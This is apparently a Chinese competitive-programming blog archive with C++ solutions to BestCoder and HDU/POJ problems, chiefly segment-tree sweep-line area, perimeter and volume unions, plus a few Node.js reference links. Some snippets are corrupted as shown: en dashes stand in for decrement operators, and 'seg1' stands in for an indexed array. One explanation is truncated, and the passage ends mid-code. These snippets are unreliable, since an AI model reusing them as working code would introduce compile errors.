bestcoder#59 div2

1001 SDOI
简单模拟

#include<stdio.h>
#include<string.h>
#include<algorithm>
using namespace std;
int n,m;
typedef struct Node{
    char name[30];
    int sex;
    double s1,s2;
}Node;
Node node[110];
bool cmp(Node a,Node b)
{
    return a.s1>b.s1;
}
int main()
{
    int i,j;
    int t;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d%d",&n,&m);
        char s[10];
        int s1,s2;
        bool flag=0;
        double max1=0,max2=0;
        for(i=1;i<=n;i++)
        {
            scanf("%s%s%lf%lf",node[i].name,s,&node[i].s1,&node[i].s2);
            if(node[i].s1>max1) max1=node[i].s1;
            if(node[i].s2>max2) max2=node[i].s2;
            if(!strcmp(s,"male")) node[i].sex=1;
            else {node[i].sex=0;flag=1;}
        }
        for(i=1;i<=n;i++)
        {
            node[i].s1=node[i].s1*(300*1.0/max1)*0.3+node[i].s2*(300*1.0/max2)*0.7;
        }
        sort(node+1,node+1+n,cmp);
        printf("The member list of Shandong team is as follows:\n");
        if(!flag)
        {
            for(i=1;i<=m;i++)
                printf("%s\n",node[i].name);
            continue;
        }
        int male=0,total=0;
        for(i=1;i<=n;i++)
        {
            int sex=node[i].sex;
            if(total<m)
            {
                if(sex)
                {
                    if(male<m-1)
                    {
                        printf("%s\n",node[i].name);
                        male++;
                        total++;
                    }
                }
                else
                {
                        printf("%s\n",node[i].name);
                        total++;
                }
            }
        }
    }
    return 0;
}

1002 Reorder the Books
题意:给出1-n的一个乱序排列,每次操作只能抽出一个放到开头,请问最少操作几次可以使序列有序。
这题想通了很简单。
我们可以得到以下两个简单结论:
1.抽出数字x放到开头不会改变数字a和数字b的相对顺序(a、b不同于x)
2.当抽出数字x放到开头时显然以后一定要把比x小的数字1,2,3,……,x-1抽出放到开头一次(基于第一点,他们的相对顺序是错误的,但是移动其他元素不能改变他们的相对顺序)。
那么显然我们希望这个x越小越好。
由于从最大数字n为结尾的相对顺序正确的几个数不需要移动,所以x其实就是从n开始往回看的第一个顺序错误的数。
考虑以下情况:3,1,4,2,5
由于3,4,5三个数字相对顺序是正确的,所以x就是2,我们第一次将2放到开头,第二次将1放到开头就行。(显然上面的第二点指出比2小的数字一定至少移动一次,然后,我们可以发现,它们事实上只需要移动一次就可以使未被移动的那些数字连续且有序)
我发现有些想法大脑里过一遍是是快速而跳跃的,但是要通俗易懂地写出来且在逻辑上很严格会很麻烦。。。

#include<stdio.h>
#include<string.h>
int a[30],pos[30];
int main()
{
    int i,j;
    int t,n;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d",&n);
        for(i=1;i<=n;i++)
        {
            scanf("%d",&a[i]);
            pos[a[i]]=i;
        }
        int ans=1;
        for(i=n;i>=2;i--)
        {
            if(pos[i]>pos[i-1]) ans++;
            else break;

        }
        printf("%d\n",n-ans);
    }

    return 0;
}

1003 The Highest Mark
这题比赛时没做出来,特么为什么我现在这么菜!(好吧,其实以前也很菜)
题意:n个题目原始分数ai,每分钟减少bi(从比赛开始算起),完成需要ci,问t分钟最多可以得到几分(从中选择一些题目做)
n<=1000,t<=3000
如果没有bi这个量,那么这题就是一个0/1背包。
假设现在顺序已经确定,那么

#include<stdio.h>
#include<string.h>
#include<algorithm>
using namespace std;
typedef long long ll;
typedef struct Node{
    int a,b,c;
}Node;
Node node[1010];
int n,m;
int t;
bool cmp(Node x,Node y)
{
    return (ll)x.b*(ll)y.c>(ll)y.b*(ll)x.c;
}
inline int max(int a,int b){return a>b?a:b;}
int dp[3010];
int main()
{
    int i,j,T;
    scanf("%d",&t);
    while(t–)
    {
        scanf("%d%d",&n,&T);
        for(i=1;i<=n;i++)
            scanf("%d%d%d",&node[i].a,&node[i].b,&node[i].c);
        sort(node+1,node+1+n,cmp);
        //for(i=1;i<=n;i++)
            //printf("%d  %d  %d\n",node[i].a,node[i].b,node[i].c);
        memset(dp,0,sizeof(dp));
        for(i=1;i<=n;i++)
            for(j=T;j>=0;j–)
            {
                if(node[i].c>j) continue;
                dp[j]=max(dp[j],dp[j-node[i].c]+node[i].a-node[i].b*j);
            }
        int ans=0;
        for(j=1;j<=T;j++) ans=max(ans,dp[j]);
        printf("%d\n",ans);

    }
    return 0;
}

1004 Candy Game

bestcoder#55

这几个礼拜忙着实习离职和研究生开学的事情,so。。没打比赛
bc#55这场也错过了(其实去打台球了。。逃~)
hdu5432
简单题,二分

#include<stdio.h>
#include<string.h>
#include<math.h>
const double eps=1e-8;
int t,n;
int h[10010],w[10010];
int bsearch(int l,int r,double s)
{
    int i;
    while(l<=r)
    {
        int m=(l+r)>>1;
        double ss=0;
        for(i=1;i<=n;i++)
        {
            double tmp=w[i]*(h[i]-m)*1.0/h[i];
            if(m<=h[i]) ss+=tmp*tmp*(h[i]-m);
        }
        if(ss*2-s>eps) l=m+1;
        else if(ss*2-s<-eps) r=m-1;
        else return m;

    }
    return r;
}
int main()
{
    int i,j;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d",&n);
        double s=0;
        int maxh=-1;
        for(i=1;i<=n;i++)
        {
            scanf("%d",&h[i]);
            if(h[i]>maxh) maxh=h[i];
        }
        for(i=1;i<=n;i++) scanf("%d",&w[i]);
        for(i=1;i<=n;i++) s+=w[i]*w[i]*h[i];
        printf("%d\n",bsearch(0,maxh,s));
    }

    return 0;
}

hdu5433
待补
hdu5434
待补
hdu5435
待补
hdu5436
待补

Node.js资料临时记录

文档:http://docs.run.pivotal.io/starting/index.html
web应用控制台:https://console.run.pivotal.io
关于manifest.yml文件:http://docs.run.pivotal.io/devguide/deploy-apps/manifest.html#minimal-manifest
node.js的事件循环:http://blog.mixu.net/2011/02/01/understanding-the-node-js-event-loop/
node.js的初步入门:http://ourjs.com/detail/529ca5950cb6498814000005
pivotal Cloud Foundry:https://console.run.pivotal.io/organizations/0c2e2745-b6fd-4bd1-a2ec-291beb58c84e/spaces/d2b83c2c-d217-4c7a-a662-6fc3a41205e2
Cloud Foundry的Environment variable:http://docs.run.pivotal.io/devguide/deploy-apps/environment-variable.html

http://www.atatech.org/

https://github.com/alsotang/node-lessons

bestcoder#52 div2

很久没做题,水平不行了,bestcoder上的rating更是低的惨烈。这段时间开始坚持每个星期做一场比赛。
hdu5422 Rikka with Graph
这题不说了……

#include<stdio.h>
#include<string.h>
int n,m;
int main()
{
    int i,j;
    int u,v;
    while(~scanf("%d%d",&n,&m))
    {
        bool flag=0;
        for(i=1;i<=m;i++)
        {
            scanf("%d%d",&u,&v);
            if((u==1 && v==n) || (u==n && v==1)) flag=1;
        }
        if(flag) printf("1 %d\n",n*(n-1)/2);
        else printf("1 1\n");


    }
    return 0;
}

hdu5423 Rikka with Tree
只有树是如下形态时才符合要求:最底层可以有多个结点,其余每层只能有一个结点。

#include<stdio.h>
#include<string.h>
#include<queue>
using namespace std;
int n;
typedef struct Edge{
    int to,next;
}Edge;
Edge edge[2010];
int head[1010],cnt;
int d[1010];
typedef struct Node{
    int x,dep,f;
}Node;
queue<Node> q;
void add(int u,int v)
{
    edge[cnt].to=v;edge[cnt].next=head[u];
    head[u]=cnt++;
    return;
}
void bfs()
{
    int i;
    while(!q.empty()) q.pop();
    Node root;
    root.x=1;root.dep=1;root.f=0;
    memset(d,0,sizeof(d));
    q.push(root);
    while(!q.empty())
    {
        Node tmp=q.front();q.pop();
        int u=tmp.x;
        int dep=tmp.dep;
        int f=tmp.f;
        d[dep]+=1;
        for(i=head[u];i!=-1;i=edge[i].next)
        {
            int v=edge[i].to;
            if(v==f) continue;
            Node xh;
            xh.x=v;xh.f=u;xh.dep=dep+1;
            q.push(xh);
        }
    }
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d",&n))
    {
        int u,v;
        cnt=0;memset(head,-1,sizeof(head));
        memset(d,0,sizeof(d));
        for(i=1;i<=n-1;i++)
        {
            scanf("%d%d",&u,&v);
            add(u,v);
            add(v,u);
        }
        bool flag=1;
        bfs();
        for(i=1;i<=n;i++)
        {
            if(d[i]>=2 && d[i+1]>0) {flag=0;break;}
        }
        printf("%s\n",flag?"YES":"NO");
    }
    return 0;
}

hdu5424 Rikka with Graph II
好久没做bestcoder,我又忘了最后15分钟是hack时间,不能提交。结果在办公室一边做题一边吃吃喝喝,错过了提交时间。。
当时我的心情是这样的:

题意:n个顶点n条边,求是否存在哈密顿路。
我是这样做的:

if(不连通)//记录自环和重边数即可,不用遍历
    NO
else
{
    if(没有环)
    {
        if(度=1的点超过2个) NO
        else YES
    }
    else
    {
        if(度=1的点超过2个) NO
        else if(度=1的点少于2个) YES
        else
        {
            设这两个度为1的点为u,v
            那么从这两个度为1的点迭代到环中,判断环上的这两个点是否有边相连?是:YES,否:NO
        }
    }
}

其实代表了几种情况,画下图就明白了。具体见代码

#include<stdio.h>
#include<string.h>
int n;
int d[1010][1010],du[1010];
typedef struct Edge{
    int to,next;
}Edge;
Edge edge[2010];
int head[1010],cn;
void add(int u,int v)
{
    edge[cn].to=v;edge[cn].next=head[u];
    head[u]=cn++;
    return;
}
int main()
{
    int i,j;
    int u,v;
    while(~scanf("%d",&n))
    {
        int cnt=0;
        memset(du,0,sizeof(du));
        memset(d,0,sizeof(d));
        cn=0;memset(head,-1,sizeof(head));
        for(i=1;i<=n;i++) d[i][i]=1;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d",&u,&v);
            if(u==v || d[u][v]) {cnt++;continue;}
            d[u][v]=1;d[v][u]=1;
            add(u,v);add(v,u);
            du[u]++;du[v]++;
        }
        if(cnt>=2) {printf("NO\n");continue;}
        int cc=0;
        for(i=1;i<=n;i++) if(du[i]==1) cc++;
        if(cnt==1)
        {
            if(cc>2) printf("NO\n");
            else printf("YES\n");
            continue;
        }
        if(cc>2) {printf("NO\n");continue;}
        if(cc<=1) {printf("YES\n");continue;}
        u=0;
        for(i=1;i<=n;i++)
            if(du[i]==1)
            {
                if(!u) u=i;
                else v=i;
            }
        int f=u;
        while(du[u]<3)
        {
            j=u;
            for(j=head[j];j!=-1;j=edge[j].next)
            {
                if(edge[j].to!=f) {f=u;u=edge[j].to;break;}
            }
        }
        f=v;
        while(du[v]<3)
        {
            j=v;
            for(j=head[j];j!=-1;j=edge[j].next)
            {
                if(edge[j].to!=f) {f=v;v=edge[j].to;break;}
            }
        }
        if((u==v) || !d[u][v]) printf("NO\n");
        else printf("YES\n");
    }
    return 0;
}

hdu5425 Rikka with Tree II
这题比赛时候没做。。

对大学学习上的一些经历的感受&&总结(更新中……)

平时实在太懒了,其实一直想写点东西回顾一下过去的经历,但是实在太懒了,觉得要写很多字。。==
0×00 acm
略。。。
(==!别打我,这部分有点久了,也是我大学做的最有意义的事之一,但是现在还不想写。以后再补上吧)
(说实话,真的好想再参加一次区域赛)
Continue reading

线段树—扫描线专题

hdu1542 Atlantis
矩形面积并
以前学线段树的时候对扫描线似懂非懂,关键是没明白为什么没有pushdown操作,现在总算弄懂了。。
因为在pushup里面当有线段覆盖时(cnt>0)直接对len域进行赋值,不依赖于儿子结点。这就相当于把这个结点当成了叶子结点(更新到底了),然后往上一路pushup,这样虽然导致该结点下面的结点信息可能有错,但是该结点以上的结点的信息保证正确。而询问是询问整段(len[1])的覆盖长度。这样每次询问时,根结点的信息是正确的就行了。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<map>
#include<algorithm>
using namespace std;
const double eps=1e-8;
typedef struct Seg{
    double lx,rx,h;
    int v;
}Seg;
Seg seg[210];
int n;
double tmpx[210],x[210];
bool cmp(Seg a,Seg b)
{
    return a.h<b.h;
}
bool equ(double a,double b)
{
    return fabs(a-b)<eps?1:0;
}
int bs(int l,int r,double v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(equ(x[m],v)) return m;
        if(v>x[m]) l=m+1;
        else r=m-1;
    }
    return 0;
}
#define lson id<<1
#define rson id<<1|1
const int maxn=200;
double len[maxn<<2];
int cnt[maxn<<2];
void pushup(int id,int l,int r)
{
    if(cnt[id]) len[id]=x[r+1]-x[l];
    else if(l==r) len[id]=0;
    else len[id]=len[lson]+len[rson];
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
}
int main()
{
    int i,j;
    int cases=0;
    while(~scanf("%d",&n) && n)
    {
        double x1,x2,y1,y2;
        int cc=0;
        for(i=1;i<=n;i++)
        {
            scanf("%lf%lf%lf%lf",&x1,&y1,&x2,&y2);
            cc++;
            tmpx[cc]=x1;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y1;seg[cc].v=1;
            cc++;
            tmpx[cc]=x2;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y2;seg[cc].v=-1;
        }
        sort(seg+1,seg+(n<<1)+1,cmp);
        sort(tmpx+1,tmpx+(n<<1)+1);
        int m=0;
        x[++m]=tmpx[1];
        for(i=2;i<=2*n;i++)
            if(!equ(tmpx[i],tmpx[i-1])) x[++m]=tmpx[i];
        memset(len,0,sizeof(len));
        memset(cnt,0,sizeof(cnt));
        double ans=0;
        for(i=1;i<=2*n-1;i++)
        {
            int l=bs(1,m,seg[i].lx);
            int r=bs(1,m,seg[i].rx)-1;
            update(1,1,m-1,l,r,seg[i].v);
            ans+=len[1]*(seg[i+1].h-seg[i].h);
        }
        printf("Test case #%d\nTotal explored area: %.2f\n\n",++cases,ans);
    }
    return 0;
}

hdu1828 Picture
矩形周长并

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<stdlib.h>
#include<algorithm>
using namespace std;
const double eps=1e-8;
typedef struct Seg{
    int l,r,h,v;
}Seg;
Seg seg[10000+10];
int n;
bool cmp(Seg a,Seg b)
{
    return a.h<b.h;
}
#define lson id<<1
#define rson id<<1|1
const int maxn=20000;
int cnt[maxn<<2],num[maxn<<2],lmax[maxn<<2],rmax[maxn<<2],len[maxn<<2];
void init()
{
    memset(num,0,sizeof(num));
    memset(lmax,0,sizeof(lmax));
    memset(rmax,0,sizeof(rmax));
    memset(len,0,sizeof(len));
    memset(cnt,0,sizeof(cnt));
    return;
}
void pushup(int id,int l,int r)
{
    int m=(l+r)>>1;
    if(cnt[id]) {lmax[id]=rmax[id]=len[id]=r-(l-1);num[id]=1;}
    else if(l==r) {lmax[id]=rmax[id]=len[id]=0;num[id]=0;}
    else
    {
        lmax[id]=(lmax[lson]==(m-(l-1))?lmax[lson]+lmax[rson]:lmax[lson]);
        rmax[id]=(rmax[rson]==(r-m)?rmax[rson]+rmax[lson]:rmax[rson]);
        len[id]=len[lson]+len[rson];
        num[id]=num[lson]+num[rson]+((rmax[lson] && lmax[rson])?-1:0);
    }
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
    return;
}
int main()
{
    int i,j;
    int last;
    while(~scanf("%d",&n))
    {
        int x1,y1,x2,y2;
        int c=0;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d%d",&x1,&y1,&x2,&y2);
            x1+=10000;x2+=10000;
            c++;
            seg1.l=x1;seg1.r=x2;seg1.h=y1;seg1.v=1;
            c++;
            seg1.l=x1;seg1.r=x2;seg1.h=y2;seg1.v=-1;
        }
        sort(seg+1,seg+1+(n<<1),cmp);
        last=0;
        int ans=0;
        init();
        for(i=1;i<=(n<<1);i++)
        {
            update(1,1,20000,seg[i].l+1,seg[i].r,seg[i].v);
            ans+=abs(len[1]-last);
            ans+=num[1]*2*(seg[i+1].h-seg[i].h);
            last=len[1];
        }
        printf("%d\n",ans);
    }
    return 0;
}

hdu1255 覆盖的面积
这题扫描的时候需要维护区间被覆盖两次及以上的长度。
线段树维护len(覆盖一次及以上的长度)、nlen(覆盖两次及以上的长度)、cnt(覆盖线段条数)
理解两个pushup函数需要清楚几点:
1.由于没有pushdown操作,所以某个结点的cnt和其子结点的cnt是无关的。也就是说,父节点cnt=1,子结点cnt=1,那么显然有两条不同的线段覆盖在子结点上。
2.每个结点的len、nlen维护的是该结点及以下结点的信息,有点dp的感觉,这样就保证了最顶端结点(根结点)信息的正确。
3.由2可以知道,上层结点信息的更新不会改变下层结点的信息,反之则会。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
using namespace std;
const double eps=1e-8;
const int maxn=2010;
#define zero(x) (fabs(x)<eps?1:0)
typedef struct Seq{
    double lx,rx,h;
    int v;
}Seg;
Seg seg[maxn];
int n;
double tmpx[maxn],x[maxn];
double len[maxn<<2],nlen[maxn<<2];
int cnt[maxn<<2];
bool cmp(Seg a,Seg b) {return a.h<b.h;}
int bs(int l,int r,double v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(zero(x[m]-v)) return m;
        if(v>x[m]) l=m+1;
        else r=m-1;
    }
    return 0;
}
#define lson id<<1
#define rson id<<1|1
void init()
{
    memset(len,0,sizeof(len));
    memset(nlen,0,sizeof(nlen));
    memset(cnt,0,sizeof(cnt));
    return;
}
void pushup1(int id,int l,int r)
{
    if(cnt[id]) len[id]=x[r+1]-x[l];
    else if(l==r) len[id]=0;
    else len[id]=len[lson]+len[rson];
    return;
}
void pushup2(int id,int l,int r)
{
    if(cnt[id]>1) nlen[id]=x[r+1]-x[l];
    else if(cnt[id]==1)
    {
        if(l==r) nlen[id]=0;
        else nlen[id]=len[lson]+len[rson];
    }
    else
    {
        if(l==r) nlen[id]=0;
        else nlen[id]=nlen[lson]+nlen[rson];
    }
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup1(id,l,r);
        pushup2(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup1(id,l,r);
    pushup2(id,l,r);
    return;
}
int main()
{
    int i,j;
    int t;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d",&n);
        double x1,y1,x2,y2;
        int cc=0;
        for(i=1;i<=n;i++)
        {
            scanf("%lf%lf%lf%lf",&x1,&y1,&x2,&y2);
            cc++;
            tmpx[cc]=x1;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y1;seg[cc].v=1;
            cc++;
            tmpx[cc]=x2;
            seg[cc].lx=x1;seg[cc].rx=x2;seg[cc].h=y2;seg[cc].v=-1;
        }
        sort(seg+1,seg+1+(n<<1),cmp);
        sort(tmpx+1,tmpx+1+(n<<1));
        int m=0;tmpx[0]=-1;
        for(i=1;i<=(n<<1);i++) if(!zero(tmpx[i]-tmpx[i-1])) x[++m]=tmpx[i];
        init();
        double ans=0;
        for(i=1;i<=(n<<1)-1;i++)
        {
            int l=bs(1,m,seg[i].lx);
            int r=bs(1,m,seg[i].rx)-1;
            update(1,1,m-1,l,r,seg[i].v);
            ans+=nlen[1]*(seg[i+1].h-seg[i].h);
        }
        printf("%.2f\n",ans);
    }
    return 0;
}

hdu3265 Posters
矩形面积并,但是每个矩形中间挖去一个小矩形。所以要把一个矩形分成四个矩形做

#include<stdio.h>
#include<string.h>
#include<algorithm>
#define lson id<<1
#define rson id<<1|1
using namespace std;
const int maxn=50000;
int len[maxn<<2],cnt[maxn<<2];
typedef struct Seg{
    int l,r,h,v;
}Seg;
int n;
Seg seg[(maxn<<3)+10];
void init()
{
    memset(cnt,0,sizeof(cnt));
    memset(len,0,sizeof(len));
    return;
}
bool cmp(Seg a,Seg b)
{
    //if(a.h==b.h) return a.v>b.v;
    return a.h<b.h;
}
int x1,x2,x3,x4,y1,y2,y3,y4;
int cc;
void cal()
{
    if(y1!=y3 && x1!=x2)
    {
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y1;seg[cc].v=1;
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y3;seg[cc].v=-1;
    }
    if(y2!=y4 && x1!=x2)
    {
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y4;seg[cc].v=1;
        cc++;
        seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y2;seg[cc].v=-1;
    }
    if(y3!=y4 && x1!=x3)
    {
        cc++;
        seg[cc].l=x1;seg[cc].r=x3;seg[cc].h=y3;seg[cc].v=1;
        cc++;
        seg[cc].l=x1;seg[cc].r=x3;seg[cc].h=y4;seg[cc].v=-1;
    }
    if(y3!=y4 && x4!=x2)
    {
        cc++;
        seg[cc].l=x4;seg[cc].r=x2;seg[cc].h=y3;seg[cc].v=1;
        cc++;
        seg[cc].l=x4;seg[cc].r=x2;seg[cc].h=y4;seg[cc].v=-1;
    }
    return;
}
void pushup(int id,int l,int r)
{
    if(cnt[id]) len[id]=r-l+1;
    else if(l==r) len[id]=0;
    else len[id]=len[lson]+len[rson];
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
    return;
}
int main()
{
    int i,j;
    while(~scanf("%d",&n) && n)
    {
        cc=0;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d%d%d%d%d%d",&x1,&y1,&x2,&y2,&x3,&y3,&x4,&y4);
            cal();
        }
        sort(seg+1,seg+1+cc,cmp);
        init();
        long long ans=0;
        for(i=1;i<=cc-1;i++)
        {
            update(1,1,maxn,seg[i].l+1,seg[i].r,seg[i].v);
            ans+=(long long)len[1]*(long long)(seg[i+1].h-seg[i].h);
        }
        printf("%I64d\n",ans);
    }
    return 0;
}

hdu3642 Get The Treasury
矩形体积并,这题吊吊吊,写了好久,细节比较烦,思路其实和矩形面积并一样的,z从小往大扫描,每扫到一个面,就往seg中加入或删去两条线段(相当于加入或减去一个矩形,扫描到长方体的下面则加两条线段,扫描到长方体的上面则减两条线段),然后求矩形面积并。每次用这个并面积(起码三个面并)乘上z轴差,就是增加的体积。
x坐标需要离散话,否则MLE。我的代码里面用了一点小暴力:seg数组元素用一个use域表示这条线段是否存在,按y轴从小到大扫描时,每次都要顺序查找吓一条use=1的线段。

#include<stdio.h>
#include<string.h>
#include<algorithm>
#define lson id<<1
#define rson id<<1|1
using namespace std;
typedef long long ll;
const int maxn=2000;
typedef struct Seg{
    int l,r,h,v;
    int num1,num2;
    int use;
}Seg;
typedef struct Cube{
    int down,up;
    int z;
    int v;
}Cube;
Cube cube[2010];
Seg seg[2010];
int n,m,x1,x2,y1,y2,z1,z2,cc,cn;
int x[2010],tmpx[2010];
bool cmp(Seg a,Seg b)
{
    return a.h<b.h;
}
bool cmp2(Cube a,Cube b)
{
    return a.z<b.z;
}
int alen[maxn<<2],blen[maxn<<2],clen[maxn<<2],cnt[maxn<<2];
void init()
{
    memset(alen,0,sizeof(alen));
    memset(blen,0,sizeof(blen));
    memset(clen,0,sizeof(clen));
    memset(cnt,0,sizeof(cnt));
    return;
}
void pushup1(int id,int l,int r)
{
    if(cnt[id]) alen[id]=x[r+1]-x[l];
    else if(l==r) alen[id]=0;
    else alen[id]=alen[lson]+alen[rson];
    return;
}
void pushup2(int id,int l,int r)
{
    if(cnt[id]>1) blen[id]=x[r+1]-x[l];
    else if(cnt[id]==1)
    {
        if(l==r) blen[id]=0;
        else blen[id]=alen[lson]+alen[rson];
    }
    else
    {
        if(l==r) blen[id]=0;
        else blen[id]=blen[lson]+blen[rson];
    }
    return;
}
void pushup3(int id,int l,int r)
{
    if(cnt[id]>2) clen[id]=x[r+1]-x[l];
    else if(cnt[id]==2)
    {
        if(l==r) clen[id]=0;
        else clen[id]=alen[lson]+alen[rson];
    }
    else if(cnt[id]==1)
    {
        if(l==r) clen[id]=0;
        else clen[id]=blen[lson]+blen[rson];
    }
    else
    {
        if(l==r) clen[id]=0;
        else clen[id]=clen[lson]+clen[rson];
    }
    return;
}
void pushup(int id,int l,int r)
{
    pushup1(id,l,r);
    pushup2(id,l,r);
    pushup3(id,l,r);
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        pushup(id,l,r);
        return;
    }
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id,l,r);
    return;
}
int bs(int l,int r,int v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(x[m]==v) return m;
        if(v<x[m]) r=m-1;
        else l=m+1;
    }
    return 0;
}
ll cal()
{
    int i,j;
    init();
    ll ans=0;
    for(i=1;i<=cc;i++)
    {
        if(!seg[i].use) continue;
        int l=bs(1,m,seg[i].l);
        int r=bs(1,m,seg[i].r)-1;
        update(1,1,m-1,l,r,seg[i].v);
        for(j=i+1;j<=cc+1;j++) if(seg[j].use) break;
        ans+=(ll)clen[1]*(ll)(seg[j].h-seg[i].h);
    }
    return ans;
}
int main()
{
    int i,j;
    int t,cases=0;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d",&n);
        cc=cn=m=0;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d%d%d%d",&x1,&y1,&z1,&x2,&y2,&z2);x1+=1000000;x2+=1000000;
            tmpx[++m]=x1;tmpx[++m]=x2;
            cube[++cn].z=z1;cube[cn].v=1;
            cube[++cn].z=z2;cube[cn].v=0;
            cc++;
            seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y1;seg[cc].v=1;seg[cc].use=0;
            seg[cc].num1=cn-1;seg[cc].num2=cn;
            cc++;
            seg[cc].l=x1;seg[cc].r=x2;seg[cc].h=y2;seg[cc].v=-1;seg[cc].use=0;
            seg[cc].num1=cn-1;seg[cc].num2=cn;
        }
        sort(tmpx+1,tmpx+1+m);
        int tmp=0;
        tmpx[0]=-1;
        for(i=1;i<=m;i++)
            if(tmpx[i]!=tmpx[i-1]) x[++tmp]=tmpx[i];
        m=tmp;
        sort(seg+1,seg+1+cc,cmp);
        seg[cc+1].h=0;seg[cc+1].use=1;
        for(i=1;i<=cc;i++)
        {
            int num1=seg[i].num1,num2=seg[i].num2;
            int v=seg[i].v;
            if(v<0) cube[num1].down=cube[num2].down=i;
            else cube[num1].up=cube[num2].up=i;
        }
        sort(cube+1,cube+1+cn,cmp2);
        ll ans=0;
        for(i=1;i<=cn-1;i++)
        {
            int down=cube[i].down,up=cube[i].up,use=cube[i].v;
            seg[down].use=use;seg[up].use=use;
           // printf("area:%I64d   zh:%d\n",cal(),cube[i+1].z-cube[i].z);
            ans+=cal()*(ll)(cube[i+1].z-cube[i].z);
        }
        printf("Case %d: %I64d\n",++cases,ans);
    }
    return 0;
}

poj2482 Stars in Your Window
这题很有意思,给出一些点,每个点都有一个权值。给出一个长宽固定的矩形A,矩形可以平移,问最多可以圈住多少点权。(边界上的点不算)
这个问题需要巧妙的转化:对于每个点,发散出一个矩形范围,当A的中心在该范围内时,可以圈住该点。那么显然这个矩形范围和矩形A长的一模一样。问题就转化为平面上最多有多少个矩形重叠。这样就可以用成段更新的线段树+扫描线解决。

#include<stdio.h>
#include<string.h>
#include<math.h>
#include<algorithm>
#define lson id<<1
#define rson id<<1|1
#define zero(x) (fabs(x)<eps?1:0)
using namespace std;
const int maxn=2e4;
const double eps=1e-8;
double tmpx[maxn+10],x[maxn+10];
int cnt[maxn<<2],add[maxn<<2];
inline int max(int a,int b){return a>b?a:b;}
typedef struct Seg{
    double l,r,h;
    int v;
}Seg;
int n,m,w,h;
Seg seg[(maxn<<1)+10];
bool cmp(Seg a,Seg b)
{
    if(zero(a.h-b.h)) return a.v<b.v;
    return a.h<b.h;
}
void init()
{
    memset(cnt,0,(n<<3)*sizeof(cnt[0]));
    memset(add,0,(n<<3)*sizeof(add[0]));
    return;
}
void pushup(int id)
{
    cnt[id]=max(cnt[lson],cnt[rson]);
    return;
}
void pushdown(int id)
{
    if(!add[id]) return;
    cnt[lson]+=add[id];add[lson]+=add[id];
    cnt[rson]+=add[id];add[rson]+=add[id];
    add[id]=0;
    return;
}
void update(int id,int l,int r,int L,int R,int v)
{
    if(L<=l && r<=R)
    {
        cnt[id]+=v;
        add[id]+=v;
        return;
    }
    pushdown(id);
    int m=(l+r)>>1;
    if(L<=m) update(lson,l,m,L,R,v);
    if(R>m) update(rson,m+1,r,L,R,v);
    pushup(id);
    return;
}
int bs(int l,int r,double v)
{
    while(l<=r)
    {
        int m=(l+r)>>1;
        if(zero(v-x[m])) return m;
        if(v<x[m]) r=m-1;
        else l=m+1;
    }
    return 0;
}
int main()
{
    int i,j;
    while(~scanf("%d%d%d",&n,&w,&h))
    {
        int cc=0,cn=0;
        int a,b,c;
        for(i=1;i<=n;i++)
        {
            scanf("%d%d%d",&a,&b,&c);
            tmpx[++cn]=a-w/2.0;tmpx[++cn]=a+w/2.0;
            cc++;
            seg[cc].l=a-w/2.0;seg[cc].r=a+w/2.0;seg[cc].h=b-h/2.0;seg[cc].v=c;
            cc++;
            seg[cc].l=a-w/2.0;seg[cc].r=a+w/2.0;seg[cc].h=b+h/2.0;seg[cc].v=-c;
        }
        sort(seg+1,seg+1+cc,cmp);
        sort(tmpx+1,tmpx+1+cn);
        tmpx[0]=-1;
        m=0;
        for(i=1;i<=cn;i++) if(!zero(tmpx[i]-tmpx[i-1])) x[++m]=tmpx[i];
        init();
        int ans=0;
        for(i=1;i<=cc;i++)
        {
            int l=bs(1,m,seg[i].l);
            int r=bs(1,m,seg[i].r)-1;
            update(1,1,m-1,l,r,seg[i].v);
